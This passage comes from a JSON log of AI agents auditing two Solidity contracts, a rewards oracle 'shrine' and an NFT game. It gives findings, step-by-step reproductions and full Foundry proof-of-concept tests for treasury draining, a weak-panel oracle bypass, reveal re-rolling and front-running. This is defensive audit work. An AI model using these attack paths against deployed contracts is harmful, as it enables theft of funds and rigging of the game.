`setDirector(self)` then askRewards/record/finalize/claim it reaches the `reserved` IMD that `withdraw` protects (so `reserved` protects claimants only against an honest owner's withdraw, not against the owner). `setPanelMinimums`/`setMinQuorum` apply retroactively to pending pins (owner can lower floors to 2/1/1). `setIntake` while requests are pending makes the old intake's callbacks revert NotIntake (recoverable: `record` relay + `unpin`). Director: spends free IMD on questions (`ask` up to 8 x pricePerQuestion per call), chooses roots/totals/questions (finding 1, 2), anchors any day once. GodsOfIMDInhabitants owner: `setAddresses` redirects the shrine/burn share of every future forge to any address, `setPrices(0,...)` makes forging free, `setForgeToken` lists any ERC20 with any payee, `forgeReserved` mints 100 free souls. Steward (initially owner): `setMemorial` is irreversible and blocks petition/purchase for that soul (commission stays allowed, by NatSpec design). These match the brief ('every owner role goes to $owner', director = game server) and are not defects.","line":469,"path":"src/OracleShrine.sol","reproduction":"Owner path to reserved IMD: setDirector(owner); askRewards(w, rewardLeaf(owner, cap), cap, body, H); setSigner(ownerKey); record(signed true attestation for H); finalizeRewards(w); claim(w, owner, cap, []) -> owner receives cap even though withdraw(imd, owner, cap) would have reverted InsufficientFreeBalance. Preconditions: owner key only.","severity":"info","snippet":"    function setSigner(address oracleSigner_) external onlyOwner {","title":"Privileged-role trust assumptions (owner, director, steward) as reviewed, including an owner path to the reserved IMD"}],"hash":"282189fb3fd48a65d96bd174a548607337f569bd1007def40935c0db692b9603","nodeId":"6e26f83f-24b1-4a8d-a4ee-9fcc13e4102b","outcome":"completed","summary":"Review complete. The findings file is written and verified; here is the recap.\n\n**Area covered:** Access Control, Trust Gap and Asymmetry across both contracts, all 56 entry points, plus the launch manifest and constructors. All 83 existing tests pass on this tree.\n\n**Findings written to `.imd-findings.json`** (6 findings, 60 coverage rows, every entry point answered):\n\n1. **Medium. Rewards oracle gate is not bound to the proposal.** `askRewards` pins whatever `questionHash` the director passes. Nothing ties it to the root, total or body. A director (the game server's hot key) can pin the hash of an unrelated question whose answer is `true`, get it signed for the shrine for 0.5 IMD, relay it via `record`, finalize and claim the week to itself. The panel never judges the list. Proof test at `test/scratch/RewardsQuestionUnbound.t.sol` fails on this code with the attacker paid 200 IMD.\n2. **Low. Per-week cap, no aggregate cap.** `week` is any uint64, so twenty proposals reserve 98.8% of the treasury and lock it from the owner's `withdraw`. Combined with finding 1 this removes the cap on the drainable amount. Reproduced in scratch.\n3. **Low. Asymmetric split validation.** `setReferralBps` and `setSplit` check against the IMD payee pool only, never against listed forge tokens' `burnBps`. After the owner raises referral past that bound, every referred `forgeWithToken` reverts with an arithmetic panic while unreferred ones succeed. Reproduced in scratch.\n4. **Low. `record` ignores request identity.** First validly signed answer for a pinned hash wins permanently. A third party can re-ask the identical question with the shrine as consumer and settle the pin before the shrine's own callback.\n5. **Info.** Single-step `Ownable` on both contracts: a mistyped `transferOwnership` or `renounceOwnership` before launch configuration bricks every owner setter.\n6. **Info.** Trust assumptions documented separately, including the owner's path to `reserved` IMD via `setSigner` and `setDirector`.\n\n**Manifest and constructors hold.** `launch.json` matches the brief byte for byte, uses only schema keys, and the Intake v2, IMD, signer and director addresses match the oracle-consumer live table for chain 1.\n\n**Not reached:** randomness quality of `reveal` and the economic formulas are outside my area and were only checked for permission gaps.","treeHash":null,"usage":{"cachedInputTokens":580803,"cost":{"source":"runtime","usdMicros":4297950},"inputTokens":194,"model":"claude-fable-5-1","outputTokens":35852,"runtime":"claude","turns":17,"wallClockMs":553999}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"7dc4da3dfd5ce366","findings":[{"citation":"resolved","description":"The shrine keys judgments by questionHash and lets anyone relay a signed attestation through record(). The only panel floor in _record (lines 606-608) is agreed >= quorum and quorum >= minQuorum, where minQuorum defaults to 3; panelSize is never checked and the panel the director asked for in the body is not stored with the pin. The oracle's questionHash covers only the question document (answerType, chainId, definitions, evidence, head, question, v, window), not panelSize, quorum or validForSeconds. Per the oracle-consumer protocol reference, anyone may pay 0.5 IMD, submit the same question document with panelSize 3 / quorum 3 and name the shrine as the body's consumer, and the oracle signs that answer in the shrine's EIP-712 domain. The relayer then records a 3-of-3 verdict for a question the director asked a 30-seat panel; the shrine's own callback later reverts with AlreadyAnswered. For a KIND_REWARDS question this verdict alone drives finalizeRewards/rejectRewards, i.e. up to 20% of the treasury per week; for game questions it is what the game server reads. The reference's guidance is to require a panel and agreement at least as large as the value at stake (minPanelSize and minAgreed) and warns that a small panel is cheap to fill with seats one holder controls. Impact needs an attacker who can sway 3 seats (or simply a griefer: a 3-seat 'false' rejects an honest week and costs the director a new question and 0.5 IMD each time), so medium. Fix without changing existing ABI: add an owner-set minPanelSize/minAgreed floor checked in _record, and/or store the requested panel per pin and refuse a smaller one; raise the default minQuorum from 3.","line":381,"path":"src/OracleShrine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {OracleShrine} from \"src/OracleShrine.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract ProofIMD is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// Records what the shrine asks and pulls the price, like the real intake.\ncontract ProofIntake is IIntake {\n    uint256 public nonce;\n\n    function requestWithFailure(bytes32, bytes calldata, Callback calldata, bytes4, address asset, uint256 amount)\n        external\n        returns (bytes32 requestId)\n    {\n        IERC20(asset).transferFrom(msg.sender, address(this), amount);\n        requestId = keccak256(abi.encode(\"intake request\", ++nonce));\n    }\n}\n\n/// The shrine accepts, through the permissionless `record`, an attestation for a pinned reward question whose\n/// panel is 3 seats with a quorum of 3, although the director paid for a panel of 30 with a quorum of 20. Anyone\n/// may buy an oracle answer to the same question document (the hash does not cover panelSize/quorum) signed in\n/// the shrine's domain, so the weakest panel the shrine tolerates decides a week worth 20% of the treasury.\ncontract WeakPanelRecordTest is Test {\n    uint256 constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;\n    address signer = vm.addr(SIGNER_KEY);\n    address owner = address(0xA11CE);\n    address director = address(0xD1);\n    address attacker = address(0xBAD);\n    address claimant = address(0xC1A1);\n\n    ProofIMD imd;\n    ProofIntake intake;\n    OracleShrine shrine;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        imd = new ProofIMD();\n        intake = new ProofIntake();\n        shrine = new OracleShrine(owner, intake, imd, signer, director);\n        imd.mint(address(shrine), 1_000 ether);\n    }\n\n    function _sign(OracleShrine.Attestation memory a) internal view returns (bytes memory) {\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));\n        return abi.encodePacked(r, s, v);\n    }\n\n    function _attestation(bytes32 questionHash, uint16 panelSize, uint16 quorum, uint16 agreed)\n        internal\n        view\n        returns (OracleShrine.Attestation memory a)\n    {\n        a = OracleShrine.Attestation({\n            requestId: keccak256(\"attacker's own oracle request\"),\n            chainId: block.chainid,\n            questionHash: questionHash,\n            answerType: 0,\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: 100,\n            toBlock: 200,\n            blockHash: bytes32(uint256(7)),\n            panelJobId: keccak256(\"panel job\"),\n            panelSize: panelSize,\n            quorum: quorum,\n            agreed: agreed,\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 hours)\n        });\n    }\n\n    function test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() public {\n        // The director asks the panel of 30 (quorum 20) whether the week-1 list behind `root` follows the rules.\n        bytes32 root = keccak256(abi.encode(claimant, uint256(100 ether)));\n        root = keccak256(bytes.concat(root)); // single-leaf StandardMerkleTree\n        bytes32 questionHash = keccak256(\"canonical question document for week 1\");\n        bytes memory body = bytes('{\"v\":1,\"question\":\"...\",\"panelSize\":30,\"quorum\":20}');\n        vm.prank(director);\n        shrine.askRewards(1, root, 100 ether, body, questionHash);\n        assertEq(shrine.reserved(), 100 ether);\n\n        // Anyone buys the same question document from the intake with panelSize 3 / quorum 3 and the shrine named\n        // as consumer; the oracle signs the answer in the shrine's domain. The relay is permissionless.\n        OracleShrine.Attestation memory a = _attestation(questionHash, 3, 3, 3);\n        bytes memory sig = _sign(a);\n\n        vm.prank(attacker);\n        vm.expectRevert(); // expected: a panel smaller than the one paid for is refused\n        shrine.record(a, sig);\n\n        // If the line above did not revert, the week is activated by the 3-seat verdict and claims pay out.\n        (bytes32 orid,,,,,,) = shrine.judgments(questionHash);\n        assertEq(orid, bytes32(0), \"a 3-of-3 panel's verdict was recorded for a 30-seat question\");\n    }\n}","reproduction":"State: shrine holds 1000 IMD, minQuorum = 3 (default). 1) director: askRewards(1, root, 100e18, body asking panelSize 30 / quorum 20, H). 2) attacker buys oracle.request with the same question document, panelSize 3, quorum 3, consumer = shrine; receives attestation a{questionHash: H, answerType 0, answer abi.encode(true), panelSize 3, quorum 3, agreed 3} with a valid oracleSigner signature in the shrine's domain. 3) attacker: record(a, sig). Expected: refused (panel smaller than the one paid for). Actual: pin H answered, judgment stored, finalizeRewards(1) activates the week and claim() pays from the 100 IMD reserved. test/scratch/WeakPanelRecord.t.sol fails on the current code with 'next call did not revert as expected'.","severity":"medium","snippet":"    function record(Attestation calldata a, bytes calldata signature) external {\n        _record(a, signature);\n    }","title":"OracleShrine.record accepts any oracle-signed attestation for a pinned question with a 3-seat panel, whatever panel the director paid for"},{"citation":"resolved","description":"The Mark is meant to be drawn from the hash of the block after the forge, 'which nobody knew when the forge was sent, so a Mark cannot be re-rolled'. When nobody calls reveal within 256 blocks (about 51 minutes on Ethereum) blockhash(revealBlock) returns 0 and the draw uses blockhash(block.number - 1) instead, which is a different value in every block and is fully known to the caller before sending the transaction. reveal is permissionless and the deck state is public, so the soul's holder computes keccak256(abi.encode(blockhash(block.number - 1), soulHash, tokenId)) % remaining each block and submits reveal only in a block where it yields Divine (10 of 1000 slots), a fresh roll per block. The guarantee holds only as long as the game server reveals every soul within 256 blocks; a server outage, a backlog, or souls forged before the server is wired (the phase is opened by the owner, the steward and reveal bot are off-chain) break it, and the rarest Marks are the whole value of the deck. Fix: on a stale hash re-arm instead of falling back (set revealBlock to block.number + 1 and revert NotRevealable), so the deciding hash is again unknown when the call is sent.","line":430,"path":"src/GodsOfIMDInhabitants.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {GodsOfIMDInhabitants} from \"src/GodsOfIMDInhabitants.sol\";\n\ncontract ProofIMD is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// Once the block after the forge is older than 256 blocks, `reveal` draws from `blockhash(block.number - 1)`,\n/// a value the caller chooses by choosing the block in which to call `reveal`. The same soul then gets a different\n/// Mark depending on the reveal block: a re-roll per block until the deck's Divine comes out.\ncontract RevealRerollTest is Test {\n    ProofIMD imd;\n    GodsOfIMDInhabitants nft;\n    address owner = address(0xA11CE);\n    address player = address(0xBEEF);\n\n    function setUp() public {\n        imd = new ProofIMD();\n        nft = new GodsOfIMDInhabitants(owner, IERC20(address(imd)), address(0x5A1), address(0xB0));\n        vm.prank(owner);\n        nft.setPhase(GodsOfIMDInhabitants.Phase.Public);\n        imd.mint(player, 100 ether);\n        vm.prank(player);\n        imd.approve(address(nft), type(uint256).max);\n        vm.roll(1000);\n    }\n\n    /// The draw the contract makes under the stale-hash fallback at the current block.\n    function _drawAtThisBlock(uint256 id) internal view returns (GodsOfIMDInhabitants.Mark) {\n        bytes32 h = blockhash(block.number - 1);\n        uint256 rand = uint256(keccak256(abi.encode(h, nft.soulHashOf(id), id)));\n        uint256[4] memory w = [uint256(640), 250, 100, 10]; // nothing revealed yet\n        uint256 r = rand % 1000;\n        for (uint256 k = 4; k > 0;) {\n            --k;\n            if (r < w[k]) return GodsOfIMDInhabitants.Mark(k + 1);\n            r -= w[k];\n        }\n        return GodsOfIMDInhabitants.Mark.Mortal;\n    }\n\n    function _revealAndRead(uint256 id) internal returns (GodsOfIMDInhabitants.Mark) {\n        (bool ok,) = address(nft).call(abi.encodeWithSelector(nft.reveal.selector, id));\n        ok; // a fix may also refuse the stale reveal: then the Mark stays Unrevealed on both paths\n        return nft.markOf(id);\n    }\n\n    function test_theRevealBlockDoesNotChooseTheMark() public {\n        vm.prank(player);\n        uint256 id = nft.forge(keccak256(\"soul\"), address(0));\n        uint256 b = nft.revealBlock(id);\n        assertEq(b, block.number + 1);\n\n        // Nobody revealed for 257 blocks: blockhash(b) is gone and the fallback kicks in.\n        vm.roll(b + 257);\n        assertEq(blockhash(b), bytes32(0), \"the forge block hash must be stale for this test\");\n\n        // Walk forward until a block where the fallback draws Divine, and one where it draws Mortal.\n        uint256 divineBlock;\n        uint256 mortalBlock;\n        for (uint256 i; i < 5000 && (divineBlock == 0 || mortalBlock == 0); ++i) {\n            GodsOfIMDInhabitants.Mark m = _drawAtThisBlock(id);\n            if (m == GodsOfIMDInhabitants.Mark.Divine && divineBlock == 0) divineBlock = block.number;\n            if (m == GodsOfIMDInhabitants.Mark.Mortal && mortalBlock == 0) mortalBlock = block.number;\n            vm.roll(block.number + 1);\n        }\n        assertTrue(divineBlock != 0 && mortalBlock != 0, \"no steering blocks found\");\n\n        uint256 snap = vm.snapshotState();\n        vm.roll(divineBlock);\n        GodsOfIMDInhabitants.Mark atDivine = _revealAndRead(id);\n        vm.revertToState(snap);\n        vm.roll(mortalBlock);\n        GodsOfIMDInhabitants.Mark atMortal = _revealAndRead(id);\n\n        emit log_named_uint(\"mark when revealed at the chosen block\", uint8(atDivine));\n        emit log_named_uint(\"mark when revealed at another block\", uint8(atMortal));\n        assertEq(uint8(atDivine), uint8(atMortal), \"the caller chose the Mark by choosing the reveal block\");\n    }\n}","reproduction":"1) player forges token 1 at block N (revealBlock = N+1). 2) nobody reveals until block N+258: blockhash(N+1) == 0. 3) at each later block the player computes the fallback draw off-chain; in the test the first block giving Divine and the first giving Mortal differ, and revealing in the first yields markOf(1) == Divine (4) while revealing in the second yields Mortal (1). Expected: the same soul gets the same Mark regardless of which block reveal is called in. Actual: 4 != 1. test/scratch/RevealReroll.t.sol fails on the current code with 'the caller chose the Mark by choosing the reveal block: 4 != 1'.","severity":"medium","snippet":"        if (h == bytes32(0)) h = blockhash(block.number - 1);","title":"reveal() falls back to blockhash(block.number - 1) after 256 blocks, letting the caller choose the Mark by choosing the reveal block"},{"citation":"resolved","description":"soulHash is the hash of the character JSON the player designed and is visible in the mempool. Every forge path (_registerSoul) books the first transaction carrying a given soulHash and reverts every later one with SoulAlreadyForged. Nothing binds a soulHash to the wallet that designed it (no signature from the game server over (player, soulHash), no commit-reveal). An observer who copies a pending forge's soulHash with higher gas gets the token whose metadata resolves to the victim's character, and the victim's transaction reverts. The attacker pays the full price, so this is griefing or design theft rather than fund loss. Fix if wanted: have the game server sign (minter, soulHash) and verify it in forge, or bind the hash to msg.sender (e.g. register keccak256(soulHash, msg.sender)).","line":680,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"Phase Public. Victim V sends forge(S, 0) with S = keccak256(their JSON). Attacker A sees it and sends forge(S, 0) at a higher priority fee. A's call mints token 1 with soulHashOf(1) == S; V's call reverts SoulAlreadyForged(S, 1). Expected: only the character's designer can forge S. Actual: first sender wins.","severity":"low","snippet":"        if (existing != 0) revert SoulAlreadyForged(soulHash, existing);","title":"A pending forge can be front-run by anyone sending the same soulHash, reverting the victim and taking their character"},{"citation":"resolved","description":"The oracle-consumer reference states that the action id, like the intake, asset, price and signer, must be constructor input or owner-settable, 'never a constant', because 'a new action version (oracle-2) or a moved price must not need a redeploy'. ask() takes the action as a parameter, but askRewards passes the constant REWARDS_ACTION to _buy. Once the intake stops selling oracle-1 (priceOf returns 0 / request reverts ActionNotSold), every weekly reward proposal reverts and no owner function can move it; the vault's reward flow is dead while the rest of the shrine still works. Fix: make the rewards action a state variable with an onlyOwner setter (additive ABI), initialised to the current id.","line":113,"path":"src/OracleShrine.sol","reproduction":"State: Intake v2 retires 'oracle.request@oracle-1' in favour of 'oracle.request@oracle-2'. director: askRewards(week, root, total, body, H). Expected: owner points the shrine at the new action and the call succeeds. Actual: the call reverts inside intake.requestWithFailure for every week, forever; ask() still works because its action is a parameter.","severity":"low","snippet":"    bytes32 public constant REWARDS_ACTION = \"oracle.request@oracle-1\";","title":"askRewards hardcodes the intake action 'oracle.request@oracle-1'; a new action version strands the rewards vault without a redeploy"},{"citation":"resolved","description":"Measured with the protocol's delivery shape (cold storage, 200,000 gas): bool, uint256, one-element and two-element list answers are delivered; a three-element address[] runs out of gas (the protocol's own one-element vector used 197,006 gas). The NatSpec says 'only with a few elements'. When the callback runs out of gas the intake records the request as not delivered and does not retry; the pin stays unanswered until someone who holds the signed attestation calls record(). The game server should treat list answers beyond two elements as record()-only, or the question should ask for a head of at most 2.","line":350,"path":"src/OracleShrine.sol","reproduction":"director: ask(action, body, [H], kind) for a question with answerType 4. Intake calls onOracleResult{gas: 200000}(rid, a, sig) with a.answer = abi.encode(address[3]). Expected: judgment stored. Actual: out of gas; pending[rid] stays true, pins[H].answered stays false (test/scratch/Mechanical.t.sol, CallbackGasTest).","severity":"info","snippet":"    function onOracleResult(bytes32 requestId, Attestation calldata a, bytes calldata signature)","title":"onOracleResult exhausts the intake's 200,000-gas stipend for address[]/bytes32[] answers of 3 or more elements"},{"citation":"resolved","description":"Not defects; the roles are intended and all go to $owner (steward also starts as the owner). The adapter and the audit panel should know their reach: Inhabitants owner may set mintPrice/allowlistPrice to 0 and forge the 900 paid souls free (setPrices then forge), redirect every flow with setAddresses/setPayees/setSplit/setForgeToken (shrine and burn sink included), change royalties, raise or remove the wallet cap, and list any ERC-20 as a forge token at any price. Shrine owner may withdraw the whole free IMD balance and any other token (withdraw), change the oracle signer, the intake, the director, the price per question, minQuorum and maxRewardBps. The director alone chooses reward roots and totals (up to 20% of free balance a week) and which questions are asked; the oracle only confirms the list follows the published rules. Steward marks souls as memorials, which blocks their petitions and purchases but never transfers. No pause, freeze, blacklist or seizure of holder balances exists; supply is fixed at 1000 by constant; no proxy, DELEGATECALL, CALLCODE or SELFDESTRUCT is reachable (scanned both runtimes). The launch's post-deployment owner calls (setBaseURI, setSteward, setPayees, setPhase) are what the brief prescribes.","line":472,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"Example state: owner calls setPrices(0, 0, 0.75e18, 1e18) then forge(h, 0) 900 times from 45 wallets (maxPerWallet 20) or after setMaxPerWallet(0): all paid ids minted for free. Example: shrine owner calls withdraw(imd, owner, availableBalance()) at any time. Both are by design, listed here for the record.","severity":"info","snippet":"    function setPrices(uint256 mintPrice_, uint256 allowlistPrice_, uint256 petitionPrice_, uint256 commissionPrice_)","title":"Privileged powers to record as trust assumptions (owner, director, steward)"},{"citation":"resolved","description":"Read in full: src/OracleShrine.sol (646 lines), src/GodsOfIMDInhabitants.sol (752 lines), src/interfaces/IIntake.sol, README.md, foundry.toml, all six test files, and the OpenZeppelin 5.6.1 code paths they rely on (Ownable, EIP712, SignatureChecker, MerkleProof, SafeERC20, ERC721, ERC2981, ReentrancyGuard). Nothing in scope was unreachable. Passes made alone (no helpers were allowed): math/boundary, access control/trust gap/asymmetry, economics/invariants/flow, execution trace/periphery/first principles, each over every state-changing external function of both contracts. Verified by test: the Attestation struct, type hash and domain reproduce the protocol's conformance digest 0x95fefa8b... and the protocol's signature is accepted by onOracleResult under 200,000 gas; onOracleResult's selector is the canonical one; both runtimes are under EIP-170 (15,530 and 17,832 bytes) and contain no reachable DELEGATECALL/CALLCODE/SELFDESTRUCT; constructors make no external call and reject only zero addresses; reserved accounting (reserved == sum of remaining over Proposed/Active weeks) holds on every path; the forge split is exact. Existing suite: 50/50 pass. Manifest: both entries match the constructors (5 and 4 ABI words, in order), $contract:OracleShrine points backward, no zero or placeholder address, notes under 4,000 characters, only schema keys. Live Ethereum reads (public RPC, 2026-11-13): IMD 0xD34a...63B7 is 'Identity.md' with 18 decimals (so 5 ether = 5 IMD); Intake v2 0xa43e...DE82 has code and priceOf(oracle.request@oracle-1, IMD) = 0.5e18; SHIFT 0xE5e5...C3AC is 'NIGHTSHIFT', 18 decimals, 1e27 supply; the signer and director are code-less wallets; the burn sink 0xe293...c750 is a contract (an ERC-20 transfer to it cannot fail on that account). Not checked: the IMD and SHIFT token sources for transfer fees or pausing (no verified source fetched); the contracts never rely on received amounts, so a fee would only reduce what recipients get.","line":7,"path":"src/interfaces/IIntake.sol","reproduction":"Coverage statement, no defect. Commands: forge test (50 pass); forge test --match-path 'test/scratch/*' (Mechanical passes, the two proofs fail as reported).","severity":"info","snippet":"interface IIntake {","title":"Review coverage: contracts read, checks run, manifest and live addresses verified"}],"hash":"31e55da6ab3757f3fff6b036586633fa57fa23ff8f078068831934acc4e0eb9c","nodeId":"99226291-46f7-4d00-99a9-d4e15b09e960","outcome":"completed","summary":"The review is complete. No tracked file was changed; the findings are in `.imd-findings.json` and the two proofs live under `test/scratch/`.\n\n**What I read.** Both application contracts in full (`src/OracleShrine.sol`, `src/GodsOfIMDInhabitants.sol`), the intake interface, the README, foundry config, all six existing tests, and the OpenZeppelin 5.6.1 paths they depend on. Nothing in scope was unreachable. No helpers were available, so I made the twelve specialty passes myself over every state-changing function.\n\n**What checks out.**\n- The Attestation struct, type hash and EIP-712 domain reproduce the protocol's conformance digest, and the protocol's real signature is accepted by `onOracleResult` within the 200k stipend. The callback selector is canonical.\n- Both runtimes are under the EIP-170 limit and contain no reachable DELEGATECALL, CALLCODE or SELFDESTRUCT. Constructors make no external call and reject only zero addresses.\n- No pause, freeze, blacklist or seizure of holder balances exists. Supply is fixed at 1000 by constant. Reserve accounting in the shrine holds on every path.\n- The manifest matches both constructors word for word, and live Ethereum reads confirm the addresses: IMD and SHIFT are 18-decimal tokens, the Intake v2 has code and prices the action at 0.5 IMD, signer and director are plain wallets, the burn sink is a contract.\n- Existing suite: 50 of 50 tests pass.\n\n**Findings (7 entries, 2 with proofs).**\n- **Medium.** `OracleShrine.record` is permissionless and the only panel floor is `quorum >= minQuorum` with a default of 3. The question hash does not cover panel size or quorum, so anyone can buy the same question with a 3-of-3 panel signed for the shrine and have that verdict activate or reject a reward week. Proof test fails as expected.\n- **Medium.** `reveal` falls back to `blockhash(block.number - 1)` once the forge block is older than 256 blocks, so the caller picks the reveal block and effectively re-rolls the Mark each block until Divine appears. Proof test shows the same soul drawing Divine or Mortal depending on the block chosen.\n- **Low.** A pending forge can be front-run by copying its `soulHash`; the victim's transaction reverts and the attacker holds the character.\n- **Low.** `askRewards` hardcodes the action `oracle.request@oracle-1`; retiring that action strands the rewards vault with no owner setter.\n- **Info.** List answers of 3 or more elements exhaust the 200k callback stipend (measured); the `record` fallback covers it but the server must know.\n- **Info.** Trust assumptions of owner, director and steward, recorded with concrete calls, none of them defects.\n- **Info.** Coverage statement, including what was not verified (IMD and SHIFT token sources for fees or pausing).\n\nNothing rated high or critical. The next step belongs to the adapter: the two medium items have clear additive fixes that do not change the existing ABI (a panel-size floor in `_record`, and re-arming instead of falling back in `reveal`).","treeHash":null,"usage":{"cachedInputTokens":999119,"cost":{"source":"runtime","usdMicros":5849226},"inputTokens":258,"model":"claude-fable-5-1","outputTokens":48178,"runtime":"claude","turns":25,"wallClockMs":775394}},{"artifacts":[],"attempt":1,"bundleHash":"5c96cd04187466cc3e54f479d001c73ff8c6dfcbc8de2c2e2f29f9db6d8a128a","device":"d3d81960929eb1a1","findings":[],"hash":"31efb7ef956844ef66943d5a48ddaca5b6c2617e9c1f7a4a4bcfc3bc0f7fd244","nodeId":"da4c45a6-570e-4a88-b364-76acdf087a16","outcome":"completed","summary":"Prepared the exact Ethereum launch manifest and reproduced-audit fixes. Constructors, existing ABI entries, supply/deck, and protected configuration remain preserved.\n\n`forge build` passed. All **83 tests passed** with the supplied fuzz seed.\n\n[ADAPTATION.md](/root/.identitymd-356/work/0335fcb0-4998-4bb4-90b0-50a39d163f08/da4c45a6-570e-4a88-b364-76acdf087a16/ADAPTATION.md) documents every change, remaining limitations, and required app updates for soul lookups and stale reveals.","treeHash":"487616254421c674872f7cef30aeef456aa4e209","usage":{"cachedInputTokens":2857856,"chain":[{"calls":25,"chainId":1,"failed":0,"own":25,"public":0,"refused":0}],"cost":{"source":"estimated","usdMicros":5703276},"inputTokens":111702,"model":"gpt-6-astra","outputTokens":34568,"runtime":"codex","turns":9,"wallClockMs":1160430}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"229c8cb0d9067fbe","findings":[{"citation":"resolved","description":"Consequence of the fix for 2090b1ef868d (reveal must be nextToReveal()). A stale head is only re-armed to block.number + 1 without drawing; the soul behind it cannot become the head, and so cannot be re-armed, until the head's Mark is drawn one block later. revealMany therefore re-arms at most one soul per call, and a backlog of N souls whose hashes all expired (a server outage longer than 256 blocks, ~51 minutes) takes about 2N blocks to recover. Souls forged during that drain wait behind it and go stale in turn when the backlog exceeds about 128 souls, so the worst case for the 1000-soul deck is about 2000 blocks (~6.7 hours) of reveals pending. No soul or Mark is lost, the deck is never overdrawn, and the order fix itself is correct (reveal order is fixed at forge time; forward and reversed revealMany lists give identical Marks). Liveness and latency only, so low. Merged from write_foundry_tests e4f31c2b. Fix keeping the ABI: in reveal/revealMany, re-arm every stale soul in queue order in one call (re-arming does not consume the deck, so it does not change order fairness), or let reveal re-arm the head and continue to the next stale soul.","line":457,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"test/RevisionEdges.t.sol test_staleBatchDrainsOneSoulPerReArm (passes on this tree, documenting the behaviour): owner forgeReservedMany with 3 soul hashes (ids 901-903, revealBlock N+1); vm.roll(+300) so blockhash(N+1) is zero; call revealMany([901,902,903]) once per block. Expected for a batch re-arm: nextToReveal() == 0 after about 3 blocks. Actual: 7 blocks (reveal(901) re-arms only and returns at line 461; 902 reverts RevealOutOfOrder(902, 901) at line 455 until 901 is drawn two blocks later; then 902 is stale and re-arms; and so on). test_staleHeadBlocksFreshSoulsUntilReArmedAndRevealed: a fresh soul b forged behind stale soul a reverts RevealOutOfOrder(b, a) until a is re-armed and revealed.","severity":"low","snippet":"        if (h == bytes32(0)) {\n            uint256 next = block.number + 1;\n            revealBlock[tokenId] = next;\n            emit RevealRearmed(tokenId, next);\n            return; // Reverting here would undo the new reveal block.","title":"Forge-order reveals re-arm only the head: after a >256-block gap a stale backlog drains one soul per two blocks and stalls every soul forged behind it"},{"citation":"resolved","description":"Settlement of f8c5c365 and 12435406. The reproducible exploit of f8c5c365 (a 'true' to an unrelated question obtained by anyone and relayed through record) is closed: record() is onlyDirector and refuses KIND_REWARDS pins (line 417), and onOracleResult accepts only an attestation whose questionHash was pinned by the calling request (line 380). What remains is a director-only path: askRewards still takes root, total, body and questionHash as four independent inputs, nothing derives questionHash from (week, root, total), and the body the shrine pays for is never read. A director that pays for a body whose honest answer is true, and pins that body's hash, gets a signed true delivered to onOracleResult for the shrine's own request, which activates whatever root it proposed. Because `week` is an arbitrary uint64 and the cap at line 311 is recomputed against the shrinking free balance (12435406, confirmed by the author), twenty proposals reserve 1 - 0.8^20 = 98.8% of the balance, each activating on its own answer minutes later. The director is the brief's trusted game-server hot key, the owner can set maxRewardBps to 0 or replace the director, and the author states that the server's calling convention (server-built questionHash, as my own held proof Proof_01bb6567d337 assumes) is frozen, so this is recorded as a material trust assumption at low, not a bypass. Also distinct from a stale-root server bug, which the same gap lets through. If the author wants the panel check to bind the root without an ABI change: build the question in askRewards from (week, root, total, address(this)) with OracleQuestion over an absolute window and require questionHash == OracleQuestion.hash(q); the cost is a server-side change to how the hash is computed. For the aggregate, cap reserved + total against balance * maxRewardBps / BPS or bound week monotonically.","line":314,"path":"src/OracleShrine.sol","reproduction":"Precondition: the director key only. Shrine holds 1000 IMD, maxRewardBps 2000, default floors 30/20/20. For w = 1..20: director calls askRewards(w, rewardLeaf(D, cap_w), cap_w, body_w, q_w) with cap_w = availableBalance()*2000/10000 read before each call, body_w an oracle body whose question is trivially true and whose hash is q_w. Each buys the shrine's own Intake request R_w (requestOfQuestion[q_w] = R_w). The oracle answers true in the shrine's domain and the Intake calls onOracleResult(R_w, a, sig): line 380 passes, _record stores the verdict. Anyone: finalizeRewards(w) -> Active; claim(w, D, cap_w, []) pays D. Expected per lines 18-20: IMD claimable only after the panel judged the list behind `root`. Actual: the panel judged the director's chosen body; total paid to D after 20 weeks = 980.94 IMD, availableBalance() = 9.06 IMD, owner withdraw(imd, owner, 500e18) reverts InsufficientFreeBalance(500e18, 9.06e18). Traced lines 300-335 (no check reads earlier weeks or the body) and 376-384.","severity":"low","snippet":"        _pin(questionHash, KIND_REWARDS);\n        _rewardWeekOfQuestion[questionHash] = week;\n        reserved += total;","title":"Residual director trust in the rewards vault: the panel verdict covers whatever body the director paid for, never the root, and the 20% cap is per proposal, so a compromised director key can pay itsel"},{"citation":"resolved","description":"Not defects; documented so they are separated from bypasses, and unchanged by the revision (the author disputed them as intended roles, which matches the brief: every owner role goes to $owner, the director is the game server). OracleShrine owner: setSigner lets the owner sign attestations itself, and with setDirector(self) then askRewards / onOracleResult-from-its-own-intake (or setIntake to a contract it controls) / finalizeRewards / claim it reaches the `reserved` IMD that withdraw protects, so `reserved` protects claimants only against an honest owner's withdraw. setPanelMinimums / setMinQuorum apply retroactively to 